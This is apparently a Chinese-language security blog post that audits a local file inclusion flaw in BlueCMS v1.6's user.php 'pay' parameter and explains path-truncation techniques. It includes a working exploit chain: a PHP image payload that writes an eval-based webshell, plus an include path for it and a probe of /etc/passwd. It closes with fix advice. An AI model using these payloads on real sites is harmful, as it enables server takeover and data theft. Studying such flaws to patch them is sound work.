1. BlueCms v1.6本地文件包含漏洞概述BlueCMS是一款基于PHPMySQL开发的地方门户网站建设解决方案其v1.6版本存在一个典型的本地文件包含漏洞。这个漏洞的核心在于user.php文件中pay参数的处理不当导致攻击者可以通过构造特殊payload实现任意文件包含。我在实际审计过程中发现这个漏洞的利用条件与PHP版本密切相关特别是在PHP 5.2.17及以下环境中更容易实现截断攻击。本地文件包含Local File Inclusion简称LFI漏洞是Web应用中常见的安全问题它允许攻击者包含服务器上的任意文件。在BlueCMS这个案例中漏洞触发点位于会员充值功能模块。当用户提交支付请求时系统会拼接pay参数值形成文件路径但缺乏必要的过滤和验证机制。这种设计缺陷为攻击者提供了可乘之机。2. 漏洞定位与代码审计2.1 关键漏洞点分析在user.php文件中我们可以找到以下关键代码片段if($act pay) { include include/payment/.$_POST[pay]./index.php; }这段代码的问题非常明显pay参数直接拼接进文件路径没有任何过滤或安全检查。更危险的是开发者还在参数值后硬编码了/index.php字符串。这种编程习惯在很多老旧的CMS系统中都很常见也是导致文件包含漏洞的主要原因之一。我在审计这类系统时通常会特别注意几个危险函数include、require、include_once、require_once以及它们的变体。这些函数如果直接使用用户输入作为参数就极有可能造成文件包含漏洞。2.2 审计工具辅助分析虽然可以手动审计代码但使用自动化工具能大大提高效率。我推荐使用Seay源代码审计系统这类工具进行初步扫描。在实际操作中我会先用工具扫描整个项目然后重点检查工具标记出的可疑点。不过要注意工具只是辅助最终还是要靠人工分析确认漏洞的真实性和可利用性。对于这个特定漏洞工具扫描后会标记出user.php中的include语句。接下来我们需要手动验证这个漏洞点是否真的可利用以及如何构造有效的攻击payload。3. 漏洞利用与截断技术3.1 基本利用思路漏洞利用的基本思路是通过控制pay参数让系统包含我们指定的文件。但由于代码会在pay参数值后拼接/index.php直接尝试包含任意文件会失败。例如如果我们提交pay../../../config.php最终会变成include include/payment/../../../config.php/index.php这样的路径显然不存在。这时候就需要用到截断技术。截断的目的是让系统忽略掉后面拼接的/index.php部分。在PHP环境中有几种常见的截断方法空字节截断%00问号截断?路径长度溢出截断3.2 截断技术实战测试在实际测试中我首先尝试了最常用的空字节截断pay../../../config.php%00但测试发现这个方法在目标环境中无效。接着尝试问号截断pay../../../config.php?同样没有成功。最后我使用了路径长度溢出截断技术构造了一个超长的pay参数pay1.php........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................这次测试成功了系统忽略了后面拼接的/index.php。这是因为在旧版PHP中当路径长度超过一定限制时后面的内容会被截断。这个限制通常是4096字节左右具体数值可能因系统配置而异。3.3 PHP版本的影响这个截断技术有个重要前提PHP版本必须小于等于5.2.17。在新版PHP中这个漏洞可能无法利用。这是因为PHP核心团队在后续版本中修复了相关的路径处理逻辑。我在测试时发现同样的payload在PHP 5.3及以上版本会失败系统会尝试访问完整的路径导致包含失败。如果你不确定目标服务器的PHP版本可以先尝试包含/etc/passwd这类常见文件来验证漏洞是否存在。如果基本文件包含可行再尝试更复杂的攻击。4. 高级利用技巧4.1 结合图片马写Shell本地文件包含漏洞最危险的利用方式之一是结合图片马写入Webshell。具体步骤如下准备一个包含PHP代码的图片马。可以使用以下代码?php fputs(fopen(shell.php,w),?php eval(\$_REQUEST[cmd])?);?将这个代码插入到正常的图片文件中。可以使用文本编辑器直接修改图片文件或者在图片的EXIF信息中插入PHP代码。在BlueCMS中找到头像上传功能上传这个图片马。系统会将图片保存到类似data/upload/face_pic/16316897019.png的路径。利用文件包含漏洞包含这个图片文件pay../../../../data/upload/face_pic/16316897019.png..........................................................................成功执行后会在网站根目录生成shell.php文件内容为webshell代码。4.2 实际利用中的注意事项在实际渗透测试中有几点需要特别注意图片马的上传可能需要绕过一些限制。有些系统会检查文件头所以最好保持图片的基本结构完整。包含图片马时路径可能需要多次尝试。不同系统的目录结构可能不同需要根据实际情况调整../的数量。生成的webshell可能受到服务器配置限制。例如如果PHP运行在安全模式下某些函数可能无法使用。在真实环境中操作前最好先在测试环境验证所有步骤。贸然在生产环境尝试可能会触发安全警报。5. 漏洞修复建议对于使用BlueCMS v1.6的用户我建议采取以下修复措施最直接的修复方法是修改user.php中的代码对pay参数进行严格过滤。可以添加白名单验证只允许特定的支付方式名称。$allowed_payments [alipay, wechat, bank]; if($act pay in_array($_POST[pay], $allowed_payments)) { include include/payment/.$_POST[pay]./index.php; }升级PHP到最新版本。虽然这不能从根本上修复漏洞但可以防止大多数截断攻击。如果可能建议升级到BlueCMS的最新版本。通常新版本会修复已知的安全漏洞。在服务器配置中禁用危险函数如eval、system等可以限制webshell的危害。设置open_basedir限制PHP可以访问的目录范围防止攻击者包含系统敏感文件。6. 漏洞挖掘经验分享在审计这类CMS系统时我总结了一些实用的经验重点关注用户输入的处理流程。任何未经严格过滤就直接拼接进文件路径、SQL查询、系统命令的参数都可能是漏洞点。注意系统的版本信息。很多漏洞只在特定版本中存在了解目标版本能大大提高审计效率。多关注历史漏洞报告。像BlueCMS这样的开源系统通常会有公开的漏洞披露这些信息能帮助我们快速定位问题代码。建立自己的测试环境。在本地搭建与目标相似的环境可以安全地测试各种攻击方法。保持学习新技术。随着PHP版本的更新一些老的漏洞利用方法可能失效但新的技术也会不断出现。在最近的一次渗透测试中我就遇到了一个类似的案例。目标系统使用了老旧的CMS通过分析其文件包含逻辑我成功利用路径截断技术获取了系统权限。这个经历再次证明了基础漏洞的重要性即使是最简单的LFI在特定条件下也能造成严重危害。